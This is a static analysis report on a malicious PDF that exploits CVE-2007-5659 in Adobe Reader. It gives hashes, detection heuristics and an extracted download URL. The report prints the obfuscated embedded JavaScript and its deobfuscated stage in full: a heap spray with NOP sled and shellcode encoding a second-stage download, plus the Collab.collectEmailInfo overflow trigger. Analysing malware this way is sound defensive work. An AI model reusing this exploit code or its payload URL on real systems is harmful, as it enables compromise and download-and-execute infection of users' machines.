Malicious PDF — malware analysis report

Static analysis result for SHA-256 9dc7448e122ca041…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2013-06-07
MD5: 8f8e5ce7466cc8771d9032de928256d8 SHA-1: d350e77fda66e2907616b6ebe53615c09369f5e7 SHA-256: 9dc7448e122ca041143aa750e4d72231d5a3d9c6dec8b8ee79e593acd5173743
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), which is commonly employed to deobfuscate and execute malicious code. The extracted JavaScript object 'javascript_obj0013_001.js' also shows signs of obfuscation. The script's intent is to execute obfuscated code, likely to download and run a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function fWovHB4(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function iSkm9f3ACBCsZ(PydQf){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(PydQf)"+";"+"}");eval("function gnk74HZs(TRfXtrom){var oMheIqPddGCVR5="+"0,YMV73atgk3m=TRfXtrom.l"+"en"+"gth,n7HwCLE=10"+"2"+"4,Tr5fWcY,DKl5hGBjr,ac7D7JJNF='',ZUHwLMbszAFQ=oMheIqPddGCVR5,vVBHg=oMheIqPddGCVR5,tkLmrY=oMheIqPddGCVR5,vsGQOy=Ar"+"ra"+"y(63,62,31,47,58,16,17, …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl3/load.php?id=15&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x365 6378 bytes
SHA-256: e85277783f9a7d72cf557981136ca6095862a75ecef77ca80b88f56a3262842a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 140 of 235 identifiers look randomly generated (e.g. '_eKTGMq2Meq6gZhRaKqk2NLTiNZTua59Ya'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function fWovHB4(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function iSkm9f3ACBCsZ(PydQf){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(PydQf)"+";"+"}");eval("function gnk74HZs(TRfXtrom){var oMheIqPddGCVR5="+"0,YMV73atgk3m=TRfXtrom.l"+"en"+"gth,n7HwCLE=10"+"2"+"4,Tr5fWcY,DKl5hGBjr,ac7D7JJNF='',ZUHwLMbszAFQ=oMheIqPddGCVR5,vVBHg=oMheIqPddGCVR5,tkLmrY=oMheIqPddGCVR5,vsGQOy=Ar"+"ra"+"y(63,62,31,47,58,16,17,59,22,2,0,0,0,0,0,0,1,37,42,61,38,44,30,7,40,25,23,53,55,0,8,4,11,5,26,15,3,50,52,21,20,9,49,0,0,0,0,19,0,60,34,35,43,13,12,54,33,18,36,29,28,56,10,41,57,6,46,14,27,24,32,39,51,48,45);f"+"o"+"r(DKl5hGBjr=M"+"at"+"h.c"+"ei"+"l(YMV73atgk3m/"+"n7HwCLE)"+";DKl5hGBjr>oMheIqPddGCVR5;DKl5hGBjr-"+"-){fo"+"r(Tr5fWcY=Ma"+"th.m"+"in(YMV73atgk3m,n7HwCLE);Tr5fWcY>oMheIqPddGCVR5;Tr5fWcY-"+"-,YMV73atgk3m-"+"-){tkLmrY|"+"=(vsGQOy[TRfXtrom.cha"+"rCod"+"eAt(ZUHwLMbszAFQ+"+"+)-48])<"+"<vVBHg;if(vVBHg){ac7D7JJNF+"+"=iSkm9f3ACBCsZ"+"(47^tkLmrY&"+"2"+"5"+"5);tkLmrY>"+">="+"8;vVBHg-"+"="+"2;}el"+"se{vVBHg="+"6"+";}}"+"}return (ac7D7JJNF);}var VuG3W92gOSB=implode('',['S','jA','_kCv8','JkjQ','QCvOSO','jiuCv','tkKA','_8','kv@Xa5iRQO_tIO','5@CM8','n','h6','G','NoAIG','X','8','8Ryhk2fy','TF6','V2','uuLuv6OuWIyTXCM8GIV','5nC','y@AAAqluLG@fj','i@','h','V8G','W5G_','mQ60hhkc@q6v','WA@XW88','Ry','h','k','2a','M@i','a5IIo@','GgC@QiC5IIo','@','GgC','Z','Tia5IIo@GgC6M','loW','_lzWJqQ','OiGaZM','F6','V2uuLuv6OuW','@5','Gq5ZTkoV8R','KW5SX8','8Ry','hk2','5','ZT','iC5i','R','Q','O_tIO5@C','vuN','hWqs','zq6N','kv@S5KT','IpXJ','SjX_mQq6aKw5Fa','vOSaZ','W','2yVG','fC','@_2yOQSjA_kC5','FeYquGAW6IjV','QIEwFT','CvO','SHW','5nZQ_sCA','iG','Vv9Rz@Gty','h9Rz@G','tyh9Rz@Gtyh9RC6RBKD9RZ@','GRV','D9R','A6qEIh9RkZG','zI','h9R','kZG2','mh9R','o8Rlyh9R','o8G','ty','h','9','Ro8topD9R','o','gQ2Hh9R','A','8','RBZD9RA8Ro','A','D','9','Rk6tujD9R','z8RtHD9Ro8R','BAD9RAZqBAD9RoqGrAD9R','I6','R','IEh','9','Rz6Go','Zh9RI6RIEh9R','A','hRBhh9Ro8','R2yh9Ro8','RBK','D','9RAZ','qBAD9RKDQ2yh9','R','AhGJvh9RoDGrph9R','C@q2y','h9Ro8R','Fmh9Ro8RBAD','9RpD','tI','jh9R','KD','QBKD9Rh','@','qJvh9RAhq','Fm','h9R','C@qBph9R','o8RFjD9Ro8R','B','AD9RpDt','I','jh9RK','DQBhh9RZ','DtJ','vh','9','RpZGR','jD9RC@qkED','9R','o8R2ED9R','o','8','RBAD9Rp','DtIjh9','RKDQBZ','h','9R','CZGJvh9RC6Rkmh9RC@','qJjD9Ro8RlVD9Ro8RB','AD','9RpD','tIjh9','RKDQo','AD9RKh','R','Jvh','9RCht8jh9','RC@qR','vh9Ro8','Rk','uh9Ro8RBA','D9','RpDtIjh9Rp8R','o','KD9RzqqIjD9R','IhtkyD','9','R','A6qF','Hh9R','AqqrpD','9RogQ2jh9Ro8RBoD9R','KDGBAD9RIhtIjh','9RAZqEKD9Ro','8trpD9','RoDRJ','Hh9R','AZ','qzAh','9RAqqzpD9RC@qzIh9','R','o8','RIEh9Ro8RBAD9Rk@qzAD','9RADqdIh9RI6','RECh9R','hZQ2vh','9Ro8RBAD9RA','6qB','A','D','9','R','AqGrpD9RK','htIEh9RK6RIyD9RA6qzA','D9RZ','8RrpD9RpZGJvh','9R','o','8RBAD','9RK8RBA','D9','RpDt','IEh','9','RkhqoK','D','9RK8qBzD9R','KDtI','Eh9RC@qoh','h9','R','o8RJHD9Ro8RBAD9','RpDt','BZD9','RKZQEA','D9','RKq','G','BA','D9R','ZDG8mh','9RKZ','QJmD','9Ro8tr','AD','9Rkht8vh','9Ro8RBAD9RI','htFah9RAZ','q','EAD9RoqGrpD9RoDRJHh9RAZqzAh9RA','q','qzpD9Rp8','R2vh9Ro8RBAD9R','k','h','qBA','D9','RK','qq','Bkh9RpDt','BZD9R','zqtEKD9','RKqtlEh9Rp','ZGzZD9RZ8R8mD9RKqtzAD9Rp','DtIEh','9Rkh','qoZh9RK8qBpD9RKDtIEh9RC','@qohh9Ro8R','EZD','9Ro8RBAD9','Ro','8','RJHh9RIhtFah9RAZqEAD9RoqqrpD9Ro','gR','JHh9RAZqzAh9R','A','qqzpD9RA8R2vh9Ro8','RBAD9Rkh','q','BAD9R','AZqFah9RA8RrpD9R','oDRJHh','9','RAZqzAh9RAqqz','pD9Ro8R2vh9R','o8RB','AD9R','pDRBAD9RK','gR','zzh9RChRB','ZD9RC','h','RBZ','D9RCh','RBZD9RChRB','ZD9','RC@GIyD9RK','DqBKD9','RAZqzZD9RCZRlHh9RKg','RF','lh9RC6RFah9RAZ','qzpD9RAZq2yh9Roq','q8V','h9RK8','GIEh9RKDQBZ','h9RI@tIEh9RAZqdZ','h9','R','ADG8V','D9R','oqt8vh9RKDQFyD9RIhQIE','h9R','o','qtEAD','9R','zqtFyD9R','p8qkjh9','Rz6GroD9RK@tB','ZD9R','z','qt','z','I','h9R','og','GFuh','9','RA8R','R','mh9RpZRdoh9','Ro','qq8VD9RKhGkHD9Roqt','BKh9Rp8RFED9Rph','R2Eh9','RphG','dzh9RIht','zp','h9RKDq2mD9RCZqIEh9','RKDqIE','h9','Ro','qtEKD9Rk','hQl','Vh9RoqG','IE','h9RAZqr','z','h9RAq','Gz','oh9R','Z6GBZD9Ro8tIEh9','Ro','qtIEh9RKDGkmD9RKZRz','Kh9R','o8RBhh9Rp6t2v','h9Rp','ZGF','mh9RK','DtFa','h9R','pqGzzD9RpgGr','Kh9','Ro8','Rr','ph9RhZqIlh','9Rh','ZGuE','h9R','K6','Rlm','D9RAhG','kjD9R','A6GI','Vh','9RZhQlmh9','RKhRlVh9R','Ah','R','I','yh9R','h@GkjD','9RA','@tuah9','RK6Rlyh9RA','6RIyD9RA','ZqI','mh9','RhZ','GkHD9RhZG','Ilh9RA','hQ','ljD9RZZ','RIEh','9RZhql','mh9Rh@Gkjh9RA@tuah9RZZqlE8Tq5ZTIpXJ','SlD_rZQ','t','2','E','wk','LpgFHhgTiayGJ','zZG2a','ZG2','5ZTIpXJSXV','ufZKQlyL','FSNZTp','KjuvkX8','QA6i','J','jZ','F','4','eX','MToX5','N','zK6S','XyTk5Z','TI','pXJSmQ60','hhkc@','q','6','vWKTiayIs','pq','J','ECZ','Fgkwt7hqRSNy','TGXV','u','f','ZKQlyLFO','aZWl','l','h@Xa58','sKKT','A','A','AqluLGS','NZTRQjil','Zj_2oV@eHv8','8ahQ2Hv88ahQ2Vv@Xa5I','Io','@GgCZTiaM8nh','6GNoAIGX','88Ryhk2f','y','TF6V2uuLuv6OuWIM','Q','SjA_kC','5km','IwkrkQig@V','IQhVTiay@','YKOFh','6','O2CYjGSNyT2lKq','2a','ZG2a','h','@MlD_rZQt2EwkLpgFHhqQSjO','5kCy@I','pXJSHwuP6qG','leVivIhO25hFbzOIlyK5','P@D','Q','_XG','Fg','Iw','tJhjkMk8','6','N6hFbz','OIl','yK5P','@DQO5v','@S5K','TR','k','K68X','Ok4YgijZ@J','TzOu8NLTia5IIo@GgCZTOa5','F','e','Yq','u','GAW6','IjVQIEwFT6ZT','iCvXSjj8@ZV8q@','X5S','HgGlm','GImk','X_NAZW','DIK','@qaMWS','j','A_kC5uCIJGBA6','k9Cv','OSm','VJ2Q5','8qoO8nKW','FnKQJq@X5@EQ5az','W','J','qQOiGuMQSO82g','KhRIXw5SNZThK','w','kkH8qKYXMkoVJ','TpO_nkMMx','zqMNe','5T','euM','Q','SjA_kCMua@VuOI','G','GBZJtSNZT@oO','8Sm8J','kpj','WG','O82','g','KhR','IXw5@yV6sKAttkyGq','f5u','C','IJGBA6k','9QM_GpXJrz','K@FuyMhKwkkH8qKYXMfkj_kp','g','8G','Vh','@','q5ZTqA','VTG','lMua','@VuOI','GG','BZJtVChlSNhOSlZTYjyTGlMua@V','u','OI','GGBZ','J','tV','phlS','NhO','SmZTYjyT','vZG5c6jklH','q2z6JGUCyOSVh','@SfKXSMq2Meq','6gZhRa','KqkFNLT_avGq','uyT','_eKTGMq2Meq6gZhRaKqk2NLTiNZTua59Ya','Mua','@','Vu','OIGGBZJtVphlSfZT','FuyT_eKTGMq2','Meq6gZhR','aKqk2NLT','_aMqquyT','XCvuNhWqszq6Nkv@Xa58sKK','TThJ5sIZ','FNAh5nC','hQIavOSHW5','nZQ','_','sCAiGVv9RC@_2yj9R','C@','_2yXTq5ZTukj6ToV@T','hJ5sI','Z','FNA','h5','nChQIOy5nQOi','tk','VT_ayqt','uh','q','kuyTThJ','5','sIZFNA','h5nChQI','aM@iay5mQj_8E','Gi','INji2u6qX','a','y','8G','IO','J@','yO5Tej','_eZL8','MKAiSNZTE@V5TpX_@yO5Tejifz','AR','9p','j6TI8','5Y@V@XZA','8eWXQSV5TT','NOJNWZT','ThJ5sI','ZFNAh5nChQINA@Xav','XSN','KTBC@G1','6','q','FGKOi','IlAI','8kv@XM']);");eval(gnk74HZs(VuG3W92gOSB));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x365 2575 bytes
SHA-256: 5f4d44acd40f17d5210c9f937905a74c3d8c770e9630a1d2c178f1350549fe61
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var uxh9j = new Array(); function we72guI(Jv53Y0, qkP7YLOkOz) { while (Jv53Y0.length*2<qkP7YLOkOz){Jv53Y0 += Jv53Y0;} Jv53Y0 = Jv53Y0.substring(0,qkP7YLOkOz/2); return Jv53Y0; } function Mgw6aDkg() { var fbWNkSRm1 = 0x0c0c0c0c; var VbMOhvj6f86TUl = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F33%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3531%u7326%u6C70%u343D"); var HaAsC0TYXATGG = 0x400000; var jLcs83ST = VbMOhvj6f86TUl.length * 2; var qkP7YLOkOz = HaAsC0TYXATGG - (jLcs83ST+0x38); var Jv53Y0 = unescape("%u9090%u9090"); Jv53Y0 = we72guI(Jv53Y0, qkP7YLOkOz); var ZWYYAxgYoHjg = (fbWNkSRm1 - 0x400000)/HaAsC0TYXATGG; for (var UMdK3sldO9=0;UMdK3sldO9<ZWYYAxgYoHjg;UMdK3sldO9++) { uxh9j[UMdK3sldO9] = Jv53Y0 + VbMOhvj6f86TUl; } } function E03QKWhbg6xIy() { var NRY2E6Zm = app.viewerVersion.toString(); NRY2E6Zm = NRY2E6Zm.replace(/\D/g,""); var OSoLkY3ESB = new Array(NRY2E6Zm.charAt(0),NRY2E6Zm.charAt(1),NRY2E6Zm.charAt(2)); if ((OSoLkY3ESB[0] == 8 && ((OSoLkY3ESB[1] == 1 && OSoLkY3ESB[2] < 2) || OSoLkY3ESB[1] < 1)) || (OSoLkY3ESB[0] == 7 && OSoLkY3ESB[1] < 1) || (OSoLkY3ESB[0] < 7)) { Mgw6aDkg(); var lWna9Tg6me096 = unescape("%u0c0c%u0c0c"); while(lWna9Tg6me096.length < 44952) lWna9Tg6me096 += lWna9Tg6me096; this.collabStore = Collab.collectEmailInfo({subj: "",msg: lWna9Tg6me096}); } } E03QKWhbg6xIy();

Open this report in the interactive analyzer, or submit your own file for analysis.